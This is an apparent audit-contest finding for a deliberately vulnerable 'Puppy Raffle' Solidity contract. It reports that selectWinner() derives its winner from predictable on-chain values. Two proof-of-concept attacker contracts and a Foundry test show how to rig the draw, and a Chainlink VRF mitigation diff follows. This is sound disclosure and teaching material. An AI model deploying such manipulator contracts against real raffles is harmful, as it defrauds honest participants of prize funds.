Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

selectWinner() uses weak on-chain randomness allowing miners and participants to manipulate winner selection

Root + Impact

Description

  • Normal behavior: After the raffle duration expires, anyone can call selectWinner() to pick a winning participant. The winner receives 80% of the prize pool and a randomly assigned puppy NFT rarity. The randomness is intended to be unpredictable so no participant can game the outcome.

  • The issue: The winning index is derived entirely from on-chain data that is either publicly known or miner-controllable:


  • msg.sender — chosen by the caller.

  • block.timestamp — manipulable by miners within ~900 seconds.

  • block.difficulty — known before block is committed; on post-Merge Ethereum this is block.prevrandao which is also manipulable by validators.

  • A miner or validator participating in the raffle can simulate the hash output for different block.timestamp values before committing a block. They withhold or delay their block until the hash produces an index matching their own address. A non-miner can also repeatedly simulate the hash off-chain at different timestamps and only call selectWinner() when the result favors them.

  • This completely breaks the fairness guarantee of the raffle. The winner is not random — it is predictable by any sufficiently motivated participant.


uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length
// src/PuppyRaffle.sol#L125-L128
// @> All three inputs are known or controllable
uint256 winnerIndex =
uint256(
// @> msg.sender chosen by caller, block.timestamp/difficulty miner-controlled
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % players.length;

Risk

Likelihood:

  • Any miner or validator participating in the raffle can simulate the hash before committing a block and select a favorable timestamp

  • A non-miner participant can monitor the mempool, simulate the hash at current and near-future timestamps, and call selectWinner() only when the result matches their player index

  • The attack requires no special tools — a simple script computing keccak256 off-chain is sufficient

Impact:

  • The raffle winner can be predetermined by a malicious actor — the prize pool (up to 80% of all entry fees) goes to the attacker

  • The NFT rarity assignment is also manipulable using the same mechanism, allowing the attacker to guarantee a rare NFT

  • Every honest participant who paid the entrance fee is defrauded — the raffle is provably unfair

Proof of Concept

The following demonstrates how a non-miner participant can predict and guarantee a win:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract RaffleManipulator {
PuppyRaffle public target;
uint256 public attackerPlayerIndex;
constructor(PuppyRaffle _target) {
target = _target;
}
// Step 1: Enter raffle normally
function enterRaffle(uint256 playerIndex) external payable {
address[] memory players = new address[](1);
players[0] = address(this);
target.enterRaffle{value: msg.value}(players);
attackerPlayerIndex = playerIndex;
}
// Step 2: Simulate the hash and only call selectWinner when we win
function trySelectWinner() external {
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % target.players().length; // simplified
// Only execute if we win
require(winnerIndex == attackerPlayerIndex, "Not our turn yet");
target.selectWinner();
}
receive() external payable {}
}
//Foundry test to confirm:
function testWeakPRNG() public {
// 4 players enter
address[] memory players = new address[](4);
for (uint i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
// Predict winner before calling selectWinner
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % players.length;
puppyRaffle.selectWinner();
// Confirm prediction was correct
assertEq(puppyRaffle.previousWinner(), players[predictedIndex]);
}

Recommended Mitigation

Replace the on-chain pseudo-random number generation with Chainlink VRF (Verifiable Random Function), which provides cryptographically provable randomness that cannot be predicted or manipulated by miners or participants.

The fix requires a two-transaction pattern: request randomness in one transaction, receive and use it in a callback:

- uint256 winnerIndex =
- uint256(
- keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
- ) % players.length;
- address winner = players[winnerIndex];
+ // In selectWinner(): request randomness — do not pick winner yet
+ uint256 requestId = COORDINATOR.requestRandomWords(
+ keyHash,
+ subscriptionId,
+ REQUEST_CONFIRMATIONS,
+ CALLBACK_GAS_LIMIT,
+ NUM_WORDS
+ );
+ // Store raffle state, emit event, wait for callback
+ // In fulfillRandomWords() callback — called by Chainlink node:
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ uint256 winnerIndex = randomWords[0] % players.length;
+ address winner = players[winnerIndex];
+ // distribute prize, mint NFT, reset raffle
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!